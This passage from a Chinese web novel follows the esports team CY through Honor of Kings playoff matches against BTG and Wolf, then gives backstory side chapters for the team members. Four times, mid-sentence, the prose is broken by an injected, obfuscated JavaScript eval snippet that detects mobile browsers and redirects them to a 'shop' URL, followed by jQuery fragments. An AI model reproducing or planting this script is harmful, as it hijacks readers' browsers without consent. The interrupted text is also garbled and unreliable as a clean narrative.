齐呈枫复活甲打出来后换成了名刀,一丝血量将对面两人连连带走,留下一个刚回城参团的残血打野。 还有一丝血,宣依的救赎也按下了,齐呈枫还是有些极限,就在那一瞬。 两个人都双双倒地的一瞬,宣依丢出了刚刷新好的技能。 带着薄弱法术伤害的大招收割了Wolf的打野。 “可以可以!” “哦吼!”台下也扬起呐喊。 时间不早不晚,八戒借着这个大招传送到了水晶处,迅速拉着摇杆离开塔伤。 混乱里他们清掉的那波上中路兵线,此刻已经到达二塔的位置。 一秒又一秒,兵线向高地靠近,Wolf法师的复活倒计时伴随着场下群众的声音一秒一秒减少。 兵线入水晶,魏晟狂点着推塔。 血量在减少的同时复活倒计时也落下最后几秒。 “清线清线!”倒计时落下最后一秒时,Wolf选手席上的呐喊与观众激昂声音重叠在了一起。 就在这一刻,八戒对着泉水丢了个大招,将刚复活便已经在向前挪动的法师卡在了其中。 局面变得无能为力。 水晶炸裂,大屏幕上双方持平的比分再次变换。 “让我们恭喜CY以4:3赢得本场比赛胜利!” 惊嘑声充斥场馆。 CY起身拥在了一起。 宣依沉下头对凌一鸣说了声“对不起”。 回应她的是几个男生异口同声的“听不见”! 这是一支无需感到愧疚的队伍,谁都会出错,队友会为你兜底。 - 训练的日子过得有些沉闷,一连十几天都在为下一场比赛做准备,又是BTG,只记得那天众人是这么感叹的。 好像每一次与BTG的比赛,他们总是略胜一筹,就连网上一众的评论也将赌注压在了CY身上。 六月中旬,海浔变得燥热起来,绿化带的残枝败叶无法遮挡着猛烈的阳光,一行人抬手挡在额边,不知是谁第一个弹射起步,引着身后几人纷纷奔跑起来,欢闹声中那熟悉的橙黄色队服随着季节更替被白色短衬衫替代,胸口处的logo随着奔跑的动作摇晃。 那样炎热的夏天,一切的生机盎然都来源于众人对总决赛的期盼。 而今天他们离总决赛又近了一步。 熟悉的流程,几人轻车熟路地入座戴上了耳机。 宣依对压英雄的环节并不熟练,这些日子训练时的阵容都是由凌一鸣在进行调整,他不会让所有人一次性将擅长的英雄都抬上去,每一局都很分散,让局面保持在一种平衡之中。 一番沟通里,BP环节结束。 第一场比赛开始。 CY:曜、镜、墨子、狄仁杰、钟馗 BTG:关羽、娜可露露、妲己、伽罗、孙膑 五分半,BTG射辅法野四人压到下塔位置,程舟极限拉出的大招只堪堪控住了后排的伽罗。 宣依站到塔下,一个钩子将法师勾了过来,接上大招后,齐呈枫因为站位,几乎贴在宣依身旁输出。 娜可露露的大招便直接越塔落在了两人身上。 只狠没带“干扰”,看着敌方辅助丢出干扰后,几人在塔下开始输出。 凌一鸣的位置还在往下路赶,三打四的局面,CY很快落入下风。 干扰结束的那刻,伽罗两弓长箭加二技能将宣依齐呈枫双双收割,经济面板的排序瞬间变换,伽罗一跃成为了经济第一,买下第四件装备。 “舟哥,撤撤撤!”宣依看着灰色页面中的场景喊着。 身旁的齐呈枫指尖拉过凌一鸣的视野,劝告:“不用上不用上,放了,打不了。” 程舟是撤不了了,凌一鸣拉着下路视野回头往龙坑走:“我拿暴君,不急不急。” 被卡了一波线后,齐呈枫只能被压在塔下清线,而局面的逆风随着第二波伽罗压塔的推塔行动强势袭来,宣依的钩子空掉,伽罗也不顾两人清线的动作,所有行为皆奔着推塔而去。 硬守了三波的防御塔还是不堪重负地坍塌,齐呈枫和宣依往二塔压位置,伽罗直接带着孙膑离开了下路。 “射手上去了。”宣依放出视野。 BTG选择了轮番攻破,第二波团战就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056002|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这句话落下的瞬间猝不及防在上路展开。 “我去!” 娜可露露大招直接压了魏晟小半管血,接上妲己的一套连招。 “视野呢!”凌一鸣收了蓝buff便往上路赶。 “我说了妲己上去了,打野我没视野啊。”程舟打掉河蟹准备往上路走的瞬间被伽罗长弓黏上,孙膑也丢出大招。 孙膑有加速,宣依可没有。 上中两路同时播放的画面无疑都在宣告CY此时的被动。 程舟掉了后,伽罗和孙膑将中路新一波兵线清掉后便继续往上路走。 对距离很清楚的两人只能将中路线清掉后绕着野区到上路的二塔。 BTG也并没有一波推两塔的打算,切了魏晟后也没和凌一鸣多纠葛,凌一鸣残血在上路二塔前的草丛回城,而BTG的视野毫不遮掩地在主宰坑开了一波龙。 十四分过,CY这边三座高地塔连连被推掉后,BTG在龙坑又强势开了一波团,如果不接这波团,主宰被对面拿了之后,高地还是会被一波推掉。 “打打打!”魏晟迫于无奈抗下一波伤害,接了团战。 龙坑河道处,技能瞬间绽放。 于此同时,下路一支兵线的视野闪烁。 “回家回家!” “射手在偷塔!” 程舟呐喊着。 齐呈枫从后排脱离出去,回城加载条即将被蓝色点满的一瞬间,妲己的一技能对着他丢了过来。 焦愁的一声“啧”里,局面暂停住,向水晶移动。 第一场CY落败。 齐呈枫捏了下拳头:“我的我的,下路线没断。” 沉重的呼吸声里,几人念叨着:“没事没事,下一把。” “总决赛的入场券”多么诱人的战利品,观众席也拭目期待起第二场比赛,随着新一场的BP环节落尾,一个很诡异的现象在观众席蔓延开。 那个总被骂“混子”英雄再次出现在了CY的阵容中,只是台下感叹的声音将从前那些谩骂吞没。 “我去,不知道为什么,看见Hunter拿瑶妹就觉得CY这把稳了。” “毕竟上了六场还保持百分百胜率,给我一种她的瑶就是顶梁柱的感觉。” “那我还是更喜欢她的鬼谷子,那才是真的嘎嘎牛逼。” “拜托!Hunter哪个辅助不牛逼!” 宣依指腹擦过屏幕:“我先游走,升四级再来跟你。” “嗯。” 瑶这个英雄的被动和极限玩法不难琢磨,在宣依手中更是将这个英雄玩到了极限,很多次的极限救援都是值得被剪进视频的程度。 十七分钟,CY不负众望地在前期小逆风的情况下推上了高地。 宣依在高地里将鞋换成了“救赎”:“直接一波推了。” “兵线没来。”魏晟拉了下视野。 等这波兵线到,对面中射野三人也将复活。 “我有干扰,直接开。” 几个人在高地踌躇的动作顺着这句话一举涌向水晶。 宣依用大招附身一瞬的免疫扛了一次塔伤后才丢出了干扰。 BTG的辅助和上单迅速迎上来输出。 “推推推!别打人,直接推!” 缓慢降低的血条在兵线进入一瞬瞬间减半。 “哦吼!”水晶炸裂,CY拿下了第二场对局。 84. 这是第八十四章 第六场水晶炸裂也宣告了季后赛胜者组决赛圆满结束。 捏紧的拳头又无能松开,在主持人的呼唤里,几人缓缓起身走向舞台中央。 “让我们恭喜BTG获得本局比赛胜利,进入2021年春季赛的总决赛。” 但时间并没留给他们喘息的间隙,十九号上午复盘结束后进行了几场个人排位,下午便一同前往观看败者组的半决赛,为他们的对手做准备。 是南城AQ和Wolf的对局,大屏幕印上两支队伍的首发队,而南城AQ的那位射手正是从Wolf挖来的那位。 “那这个射手应该对Wolf的打法很熟悉吧。”魏晟感慨。 “Wolf这个赛季打法上的变化挺大的,光凭之前的了解没什么用,”凌一鸣也跟着分析,“而且两边的打法完全不一样。” 比赛开始后,众人很快安静了下来,跟随着大屏幕的视野沉浸观看。 看着南城AQ如何在下路切了一波,又看着Wolf如何蹲草抢龙,再到第五场南城AQ打出了大顺风的局面,场上泛起猛烈攻势,场下跟着拽紧拳头,最后又看着Wolf逆风中守了三波塔,最后上单从下路偷了一波,拿下了胜利。 “让我们恭喜Wolf获得本局胜利。” 齐身走向舞台中央与观众告别的这一刻,Wolf几人的目光不约而同地扫过了CY的方向。 时隔两周,兜兜转转又是他们的比赛。 座无虚席的观众席,两束暗紫色灯光从舞台和观众席匆匆略过,又匆匆擦肩。 一晃,这短暂的准备时间转瞬即逝,就连大巴车上也因今日的对局变得喧嚷。 “那我们今天还压英雄吗?没必要了吧。”魏晟感慨着当前形势。 “不压了,直接选。” “那……” 几人议论纷纷里,坐在前排的任宙显得过于沉默,程舟推搡了下任宙:“任姐你就没什么想说的吗?” “这一路过来,我指导的内容不多,打出今天的成绩,功劳是属于你们自己的,今天的比赛是输是赢都好。” “嘶,”程舟眉头一皱,“比赛还没开始呢,任姐你咋就先浇冷水了。” “任姐,是你把我们聚到了一起,你怎么可以说你没功劳呢?”凌一鸣朝后转的身子又转向了前方,“就指点两句呗。” 任宙被这群人的起哄逗笑:“好啦好啦,你们和Wolf也打过三场了,其实打法都大差不差,他们逆风之后很难重新找节奏,所以一般逆风的情况他们都会选择偷塔。” “后期多注意点视野,看阵容搭配的同时优先ban大乔刘禅米莱狄这种英雄。” 任宙的思路格外清晰,从BP环节再到抢龙而后是后期守高地和推水晶,将每一个节点都进行了分析,一通话分析下来将众人的思绪也一瞬打开。 很快大巴停靠下来,CY一下车便于Wolf撞了个正着,两支战队默契地颔首,分别进入了场馆。 再进入这儿,就连观众席的呐喊声都令人熟悉,稍作准备后,败者组决赛的上半场也准时拉开帷幕。 整个上半场进行了一个半小时,大荧幕上挂着3:0的大比分,就如同两支队伍上一次对局的场面,只是这一次连胜三场脸上洋溢着笑容的换成了CY。 “下一场求稳还是求胜?”任宙问道。 “当然求胜。”几人齐声脱口同一个答案。 “那下一场依依用庄周带干扰,把ban位留给鬼谷子和曜,”任宙坐在沙发处对当前局势进行了三两句的分析,“小晟的坦克拿个肉一点可以抗伤的,前面三场你们的节奏打得很稳,就跟着这个节奏打,不要慌,不要直接去压他们的节奏。” “那我用镜,比较好切后排。” 几个人也自信分配好英雄选择。 短暂的中场休息结束,两支再次入座选手席。 Wolf此刻感受着从前CY的压力,他们想要获胜得从这一把开始一直获胜。 宣依入座时向他们那排人扫去,想起那天齐呈枫问自己的话“有信心零封Wolf吗?”,那刻她坚定回答——当然。 那么他们的答案呢,也会一样吗? “祝好运。”宣依撤回目光那刻,丢下轻飘飘三个字。他们是很值得尊重的对手。 扶了下耳机,灌了口水润过喉间,再垂眸,第四场比赛也已经开始。 Wolf:老夫子、达摩、嬴政、孙尚香、刘邦 CY:吕布、镜、女娲、马可波罗、庄周 宣依还是选择了优先中路抢二级线,尽管马克对线孙尚香不太占优势。 结束一波兵线后,宣依便直接往下路走:“蓝开。” 好在齐呈枫对香香足够了解,很多操作放在他眼中都已被及时预判,虽然血量呈下风,但香香也不敢直接压过来打,宣依很快抵达了下路。 Wolf在这一场显然要谨慎些,前三场打野与其说是根据英雄选择红蓝开不如说是根据对线变换来选择,为了方便第一波直接抓下路。而这一局达摩直接选择了蓝开,那么他前三波兵线出现在下路的概率便直接缩小。 孙尚香也很清楚这一点,即使刘邦也到达了下路,她依旧选择了稳步发育。 只是这种平衡终究会被打破,不要刻意压他们节奏也不能直接陷入对方的节奏,比赛快速推动到五分过,除了达摩在龙坑收割的残血镜,场上再没有第二个击杀数。 而Wolf凭着这个人头与那波的暴君,占据了微弱的经济优势。 “鸣哥,开个主宰。” “开不了,对面一直在压我位置。” “直接龙坑开一波,”宣依接话,“打得了。” 于是,凌一鸣打完蓝buff后直接向下路龙坑移动。 上一秒凌一鸣刚开龙,下一秒小地图上就露出达摩向下的视野。 为了防止龙被抢,凌一鸣有意压了主宰的血量。 就在达摩到龙坑后直接一技能往镜的方向揍去,凌一鸣及时开了大招,龙坑这个位置对镜这种英雄来说有足够的优势,三两次悦动里,达摩血量残掉。刘邦的大招锁在了他身上,护盾出现那刻,宣依和齐呈枫也双双从下路脱离。 嬴政在中路丢下了个一技能便也往河道移动。 混乱里,两个打野的惩戒先后落下,屏幕上方亮起“达摩击杀主宰”的播报,达摩及时撤出了龙坑,嬴政也直接开了大招为其断后。 齐呈枫闪现接上了大招收割了达摩,刚拿下的主宰顺势直接落在了距离其最近的中路,宣依也及时反应:“推下路推下路。” 残血的辅助绕着野区回城回状态,此刻下路仅剩孙尚香一人,面对几人的攻势,他只能被迫放掉一塔。 推掉塔后凌一鸣也直接趁着达摩的复活时间将野区扫了一遍。 而一波主宰对CY带来的实质伤害并不明显,就连Wolf原本领先的经济也在这波开龙里缩小。 Wolf很快放弃了猥琐的打法,达摩再次复活后在下草蹲了一波齐呈枫,宣依按下大招免疫了控制效果,刘邦和孙尚香也迅速跟上输出,齐呈枫越过墙体进行输出:“我大还没好。” 宣依便夹在三人之间摇摆着为齐呈枫拖延,孙尚香大招二技能先后打向墙体另一侧的齐呈枫,又接上一技能跟着翻过墙体。 “撤撤撤,我可以走。” 宣依话落那一刻,齐呈枫开着大招在占位集中的几人间转动起来,屏幕里留下几个残血的身影,齐呈枫也只能无奈往塔下撤,却逢上了从野区下来的嬴政直接开大扫射。 齐呈枫倒了。 Wolf果断结束这一波攻势,孙尚香很快接上了这个节奏,将下路兵线清掉后随兵线攻入防御塔。 宣依按下“干扰”,用着伤害微薄的技能清理眼前几个残兵,只可惜干扰时间很快便结束,孙尚香两三下奔着推塔的输出,下路还是掉了塔。 比赛一直进行了近二十分钟,场面却有些近乎于五五开。 这场对于Wolf而言至关重要,看着地图上测闪烁着雷电的龙坑:“盯一下风暴的位置,他们肯定是要开的。” 就在凌一鸣在下路清线,齐呈枫和宣依在大红时,程舟用三技能试了下龙坑的位置:“他们开龙了。” 一晃而过的视野,程舟后摇取消三技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068174|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能的转移,闭眼开始默数。 红buff拿下,齐呈枫宣依二人绕过野区向中路移动,凌一鸣清楚这个距离无济于事,只能随兵线继续向前推高地。 大屏幕里,导播的镜头给到了风暴龙王处的五人,女娲闪烁的那一瞬三技能意味着他们已经有了龙坑的视野。 就在这一刻,女娲的大招一瞬穿过龙坑。 “Yourteamhasreclaimedthecrucialkill”一句慷锵有力的语音播报瞬间点燃全场。 齐呈枫与宣依继续向前,Wolf几人分头撤离龙坑的站位依旧集中,猝不及防接上了马可波罗的大招。 而向上路撤退的一方也迎上了吕布跳过来的大招。 几条播报连连闪过,头顶的击杀数快速从10:12变成了14:12。 Wolf仅剩孙尚香一人。 程舟滑动着轮盘将龙王释放在了下路,一条暗紫色的路铺过峡谷,于此同时,凌一鸣在最后一个兵线的抗伤里单推了下路高地。 “一波一波!” 几人顶着各不相同的血量朝着下路方向走。 孙尚香也趁着兵线赶来的时间恢复好状态。 时间一秒一秒向后跳动,龙王领先于一波兵线之前向高地靠近。 孙尚香只能静候于水晶之下等待这一场恶战。 极限守塔的场面不胜枚举,他们也会创造出这样值得津津乐道的一幕吗? 宣依抿着嘴唇:“呈枫,你坐后排,你没大招了。” 五人护着龙王迈入高地,孙尚香以大招起手,范围性攻击也打在了夹杂在其中的龙王。 凌一鸣开了大招准备直接解决孙尚香,让推塔再顺利三分。 孙尚香也很清楚此刻的局势,向后拉出的一技能隔开了距离,无差别地将输出打在五人身上。 已经齐了的神装,她的暴击伤害无法忽视。 魏晟扛过塔下的伤害,一瞬打向孙尚香的,打向水晶的攻击混乱在一起。 孙尚香在方寸里还被女娲的技能紧逼走位,又是一个闪现朝着水晶另一侧拉开了距离,她继续输出着,看着屏幕里空掉的血条。 一个,两个。 镜和女娲双双倒下,镜又随着复活甲重新站起。 此刻的水晶也已失去了半管血,孙尚香不堪重负地倒下,又被复活甲拉起来,一分一秒都未犹豫,拉着一技能混入了人群里,将龙王打掉。 就在水晶炸裂前一秒,她以一己之力又击杀了马克和镜。 只可惜播报还未来得及响起属于他的“三杀”,就被炸裂的水晶碎片遮盖。 “胜利VICTORY”的字样将本局比赛画上了句号。 那是属于CY的…… 而这声播报连同Wolf的沉默淹没于了沸腾的呐喊声中。 齐呈枫放下手机,取下耳机,转身连带着椅子一同朝着宣依挪动,手臂环住宣依的后脊:“我们赢了!” 他的脑袋埋在了宣依的颈窝,宣依有些失措地仰着下巴,慢半拍地拍了下齐呈枫的肩:“嗯,赢了。” 那件单薄的白色衬衫似乎在此刻打凉了一小块。 缓过情绪,CY走向另一边的选手席致敬对手。 在那场Wolf作为默默撤走的“背景板”里,CY走向了舞台中央,台下响起了一片“CY战队,永不言弃!” 他们是这个赛场的新将,是被官方承认的一匹黑马。他们从B组涌上A组,又从A组攀上S组,从胜者组决赛打到败者组决赛。 最后,他们获得了进入总决赛的门票。 只记得那天的赛场,不断有声音在重复—— “恭喜CY战队晋级2021春季赛总决赛。” 话筒从魏晟一路传递,他们每个人都感慨万千,说的话甚至有些没了条理,直至话筒递到宣依手中。 女孩细腻的声音,在麦克风里扩大。 原以为会有很多感慨,可话都嘴边只有一句。 她说:“我们做到了。” 我们, 是CY,也是所有想迈上赛场的女性。 85. 这是第一章番外 [1] 在那个因为父亲去世而产生争吵的瓦砾小房里,章文华收拾好了一切在一个凌晨将宣依带离了那个小乡镇,将宣依安置好住校生的身份后,章文华找到了齐家的这份工作,在日复一日的辛勤工作里,章文华很讨齐家夫妇的喜欢,她犹豫了很久才将宣依的事情和两人说。 在那个夏天,宣依穿着一件白裙踏进了这幢漂亮的大别墅,那天晚上她见到了一顿丰盛的佳肴,专门为他们三个小孩做的,样式有些花哨,看着就很美味。 宣依吃得收敛,就像章文华教她的那般礼貌。规规矩矩坐在木椅上,夹着面前的几道菜。 埋头默默吃着时,余光里推来一个盛着鱼块的小碗,那道菜在另一边,就连站起来都夹不到的地方。 宣依顺着推碗的手肘看向面前的小姐姐。 齐溪带着笑意抬手示意了下那碗鱼块:“这个可好吃了,我和齐呈枫都喜欢,尝尝?” 听到自己名字后,齐呈枫抬眸瞧向这边,指尖转了下玻璃盘,直至宣依从上桌就张望的那盘蒜蓉花甲转到面前。 他什么也没说,齐溪从一旁腾了双新筷子:“喜欢吃什么就转,爸爸说了,我们以后就是一家人了。” “我叫齐溪,他叫齐呈枫,你多大呀?” 宣依看着碗里连连添上的几块花甲,轻声回答:“七岁。” “噢,和齐呈枫一样,”齐溪放下那双筷子,回归自己的碗,“那你以后也叫我姐姐吧。” 桌上的气氛被齐溪三言两语调整好,只是宣依依旧比较沉默。 一碗饭见了底,她说的话一只手便能数过来。 看着桌上玲琅的美食,宣依只感觉吃了个五分饱,但来人问她“要不要再添一碗”时,她却害羞地摆摆脑袋,捧着那个稍空的小碗又夹了点菜。 齐溪吃完后便自然地将碗递给了准备起身的齐呈枫:“给我也舀点。” “自己舀。”说着,齐呈枫起身从餐桌绕过。 齐溪轻“啧”了声也跟着起身:“小依依,我给你也添碗?” “啊,不用了。” 齐溪点了下头便直接走出了门。 而齐呈枫慢悠悠的脚步才迈至宣依身后,寂静下来的餐厅里,一只手顺着一股陌生的气息压在了宣依身侧:“说了不用拘束,舀多少?” 他坦然,没有任何铺垫,端起了她的饭碗。 她无措,被看穿心思。 [2] 教师节刚过,天气渐凉,齐呈枫的生日也马上到来。 宣依觉得寄人篱下总归得要有点表示,可这幢大房子似乎什么也不缺。 于是她只能想方设法找点会做的手工。 某天在办公室里,宣依瞧见隔壁桌老师桌上摆着的那幅简笔合照,忽而有了思绪。 她赶着时间将齐家上下绘在了图里,空虚的背景里她用彩蜡添了座五彩斑斓的城堡,那是她眼中的齐家。 齐呈枫生日那天,她第一次也是唯一一次亲手将礼物递给了齐呈枫,没有任何礼盒和相框,一张卷起来绑着蝴蝶结的纸是她全部的心意。 她怕齐呈枫会嫌弃,便默默在一遍扫视着那些精致的礼盒,堆在小桌上,越来越多,直至那幅画在不显眼的角落被压住。 宣依蹭着脚步去将画抽出。 她想看看压坏没,便解了蝴蝶结准备查看,却迎来一个小孩说她偷东西。 宣依摇摇头说:“我没有,这是我准备送的礼物。” “你就是偷东西了,我都看见了。” 宣依不知道怎么解释,只是一个劲地否认,直到那个小孩的声音变大,她的眼泪盈盈溢出:“我没有!我看它……被压到了,想看看坏没有。” 她拽着图画的边角。 一个身影在此刻挡在了她落魄模样的前面:“依依才不会偷东西!” 宣依抬眸,湿润的眼睛与转过身来的齐呈枫对峙上,他抬手握住了她的手腕:“走,我们不理他。” 在后花园的草坪上,宣依被齐呈枫推到了秋千上,齐呈枫垂眸看着那幅画:“这画真好看。” 宣依连忙抬起图画:“这是送给你的。” 齐呈枫认真端详起来,良久他只问了一句话:“为什么上面没有你呢?” “这是你们的全家福……” 宣依解释的话还没说完,齐呈枫便将画塞了回来:“对呀,全家福,你当然也要在。” “就添在这儿吧!” 他的手指落在了那个简笔画小人物旁边的空白处。 那个小人,是他。 [3] 家里多出一个小孩后也变得热闹了几分。 宣依在周末的玩闹里和姐弟俩熟络起来,只是齐溪周六有钢琴课,家里总是只留下他们两个小孩。 湖悦山墅有一片观赏池,齐呈枫就带着一包鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129624|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饲料领着宣依去那儿喂小鱼。 那天天气不太好,有些阴沉。 宣依犹豫着跟齐呈枫说:“要下雨了,我们就呆在家里吧。” “拿上伞就好啦。”齐呈枫随手从门边取了把伞,拉着宣依的手腕往外奔。 果不其然,两小孩刚到池边就落下一场磅礴的雨,齐呈枫撑开伞,两个小小的身影映在透明伞底,雨水敲打着伞面,宣依抬眼看着却无意落到了齐呈枫露在外侧的小半边肩膀,将他握着伞柄的手往他那侧轻推:“遮好,换季很容易感冒的。” “我身体很……”话还没说完,齐呈枫就顺着水洼一屁股摔在了其中。 手里的伞勾落宣依几缕头发,随着暴雨扬向一边的树丛。 宣依连忙蹲下身将齐呈枫扶起来:“你没事吧?” 问着话她已经跑到树丛边去够不远处的伞。 两个小孩脑子断了路一般一心去拿伞,都忘了这儿离家的距离早被这个时间耽搁了一个来回。 齐呈枫握着宣依的手腕,宣依倾身去拿伞。 树枝刮过衣裳又刮伤手背雪白的肌肤,终于她抓着伞面将它从中带起。 两个狼狈的小孩又嘻嘻哈哈闹腾着回了家。 宣依刚进门就被章文华抓了个正着,齐呈枫挡在前面:“章阿姨,是我要拉着宣依去玩的,你不要怪她,好嘛?” 隔天,又是齐呈枫被齐先生拉着面壁思过。 宣依的话一字一句落在齐呈枫静不下来的心里。 “齐叔叔,是我想去看小鱼才拉着齐呈枫去的。” 齐呈枫心里吐槽:撒谎,鼻子变长。 “那他作为哥哥也该保护好你啊。” “他把伞都让给我了。” 齐呈枫:继续变长。 “好吧好吧,看在依依给你求情的份上,再继续三分钟。” “谢谢齐叔叔!我监督他。” 于是宣依走到齐呈枫身旁一同站定。 “干嘛?” “本来就是我俩一起出去的,当然一同领罚。” 又撒谎了。 “嘁,小匹诺曹。” “什么?” “我说,”齐呈枫转头,眼眸里落入身侧那个站得笔直的身影,兴许是不平静的心,他第一眼便落在了鼻梁骨上,小巧微翘,带着脸颊的粉晕格外可爱,“谢谢你,妹妹。” “不用谢哦。” 86. 这是第二章番外 [1] 程舟是王者的元老级玩家了,从刚上线就开始玩,中途也没有退过游,他的父母也开明,大概是在某一条KPL的视频被他母亲刷到了,就叫嚣着——“舟儿,你不是喜欢打游戏嘛?去打这个,还有钱诶。” 那个时候的程舟还觉得KPL是可望而不可即的比赛,但缘分这东西很奇妙,他入个了王者战队,在一场场战队赛里拿下了个“省级十强战队”的名号。当时群里进行了一个王者荣耀城市赛的抽奖,程舟的运气一向差,每次多选题三个正确答案都可以选到错误的那个,那是他第一次中奖。 然后改变了他所有的征途,说实话当时中单的位置好几个人都想要,但奈何被程舟抽中了,他展示于大众的第一个英雄是干将莫邪。 有些人就是有天赋,他的干将甚至在敌方的国服火舞前也丝毫不露怯色。 那天比赛结束,第一支找上他的战队是当时已经小有名声的Sky,那时的他被几个人匆匆围着,哪知道什么战队还有这种拉人方式,学着应付诈骗的一套给拒了。 事后,他压在枕头下后悔了半个多小时。 但好像也是缘分安排,在被CY邀请时,他毫不犹豫答应了。 他没有去一支较为成熟的队伍当替补,而是在一支新队伍里成为了从未掉链子的中单。 那天,他看着二十四个字母,上百种拼音,又构成千千万万的组合。 他说,他从来不相信缘分,可这一切都是缘分作祟,从干将莫邪开始,从CY开始。 于是,CY战队敏锐持久的中单——双潮,诞生。 双:两个人的缘分(干将与莫邪、程舟与朝阳) 潮:意义同朝阳。 (舟舟是个在爱里长大的孩子,受着父母的支持做着自己热爱的事,兴许我的正文对于他们打比赛的描写会很少,但并不代表他们是主角的踏脚石。) [2] 郑晨17岁时就在青训赛中凭借一手行云流水的李白过问江湖,他可不是只会李白,所有打野无论版本优劣势,他都有独到的理解与节奏。 那个时候郑晨带着“百殇”的名号在电竞圈霸屏许久。 后来在一度的追捧声中,郑晨也变得轻敌,赶上了改版拿出了那个赛季被削了大动脉的李白,最后以1-5的战绩消失在了电竞圈。 那之后有句话专门形容他——野王千千万,“百殇”已绝版。 就连郑晨再次回到电竞圈也不敢再用那个名字。 他也不希望这个名字再次出现在众人面前时已经成了被几个俱乐部拒绝的小打野。 于是他带着“归巅”成为了CY的射手,但在2019年的暑假,齐呈枫一身稚气地加入了这支队伍。 也许其他人会不认识齐呈枫,但郑晨认识,和他同一届青训赛打出来的官方认证。 但过去这么久,他依旧还是那个绝杀射手,可郑晨却回不到自己的巅峰时期。 在隔日,齐呈枫就理所应当地成为了主力队的ADC。 郑晨觉得自己很不逢时,总是不得不错过。 就连“归巅”这个名字也在日复一日中变得暗沉。 (在一开始的设定里,郑晨是个不太好的人物,可是这个世界上没有谁生来就是坏人,待到后面故事的发展,郑晨的人物也开始变得饱满,他只是屡次遭受失败变得对失败敏感的少年,他和齐呈枫一样大,却看着和自己一同出来的齐呈枫在沉淀一年多后依然分毫未变,他不甘,控制不住情绪是因为他曾站到过巅峰。) [3] 魏晟的父母去世早,他甚至都没有这部分的记忆,从小是阿婆拉扯大。 知道家里没钱,他就早早辍学打工。 去过洗车间,干过计件厂,也去端过盘子洗过碗。 16岁,很多地方都不接受这样的年龄,那年一个喝醉的顾客迷迷糊糊开了把排位就丢给他,他第一次接触的那个英雄叫芈月。 那是他第一次接触智能手机,从前他只能在一旁围观别人打游戏,第一次操作却比那些歪着身子团战的人要轻松很多。 在混乱里还拿了个五杀,那个顾客回去就找人剪成视频一发,火了。 魏晟是如何被找到的? CY给那个顾客塞了一万才掏出了魏晟的存在。 他第一次听到那么庞大一个数字,欣然接受了。 但也没那么顺利,只是一把游戏说明不了什么,在替补队他便拿着2000块钱的工资将希望系在一根绳上拼命。 18年末,他终于迎接到了自己的曙光。 有了一个新的身份,CY首发队的上单——月阳 月:那是他短暂学习生涯里所认识的最好看的字。 阳:阿婆说,自己的父母名字里都有一个“阳”字,就好似他们之间的缘分,他对父母别无寄托,唯余此字。 (也算是对前面内容的填坑,魏晟是个从小就不得不学会独立的人,可是没有人教过他怎么样去独立,我一笔带过的是他在每一份工作里受到的打压和委屈,所以在其他成员听到郑晨提起这段过往时,会下意识选择站在魏晟这边。) [4] 凌一鸣当时可多战队抢着要了,而CY在一众大联盟大战队里毫无优势。 当时的CY为了拿下凌一鸣,给成员布下一个“悬赏令”,拿下凌一鸣奖金三万。 魏晟:卧槽,比找我开的价还高。 第二天,魏晟就找上凌一鸣。 凌一鸣:我暂时没有加入你们战队的想法。 魏晟:别着急拒绝啊!我跟你说,要是你进我们战队的话,我就有三万块钱可以拿,到时候我们五五分。 看着凌一鸣皱起眉,魏晟又改口:四六?三七?好吧,我就要三千,剩下都是你的。 殊不知,当时CY找上他时,直接给他的母亲塞了三万。但奈何凌一鸣并不同意。 凌一鸣从小只是想要一个真诚的朋友,打游戏是他社交的一个方式而已,去青训也是,只可惜里面的人没时间和他交朋友。 那是一段简单平常的对话,却让凌一鸣接受了这份邀请:行,我拿3000剩下归你。 最后,魏晟按着最开始的五五分将钱给了他。 魏晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182537|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是凌一鸣遇见的最真诚之人。 他敲着九键,最后留下两个字:驭胜。 魏晟自不懂这么高级的东西,看见一个胜字匆匆下定论:哇,你的胜负欲挺强啊。 凌一鸣笑笑。 